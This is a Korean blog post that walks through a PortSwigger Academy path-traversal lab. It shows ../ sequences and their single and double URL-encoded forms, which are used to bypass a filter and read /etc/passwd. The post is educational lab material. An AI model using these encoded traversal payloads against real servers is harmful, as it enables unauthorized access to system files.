Path Traversal 문제이다.
제목에서 불필요한 URL decode로 경로 조작 시퀀스를 제거했다..는 뜻이다.
여기서 URL Encoding 으로 우회가 가능하다는 생각이 든다.
먼저 ../../../../../etc/passwd 입력 시 "No such file" 응답을 확인할 수 있다.
그렇다면, 제목에서 힌트를 얻은 것처럼 url encoding을 활용해보자.
../../../../../etc/passwd 는
%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd 로 작성이 가능하다.
그러나 % 특수문자를 필터링하는 것인지.. 위와 같은 response 를 확인했다.
그렇다면 💡 double url encoding 을 활용해보자!
../../../../../etc/passwd
[ url encoding ]
%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd
[ double url encoding ]
%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd
double url encoding 으로 request 를 보내면? /etc/passwd 에 접근이 가능하게 된다. 👏
'Penetration Testing > Portswigger Academy' 카테고리의 다른 글
[Portswigger] File path traversal, validation of file extension with null byte bypass (0) | 2023.10.27 |
---|---|
[Portswigger] File path traversal, validation of start of path (0) | 2023.10.27 |
[Portswigger] File path traversal, traversal sequences stripped non-recursively (1) | 2023.10.26 |
[Portswigger] File path traversal, traversal sequences blocked.. (0) | 2023.10.25 |
Path(Directory) Traversal (0) | 2023.10.25 |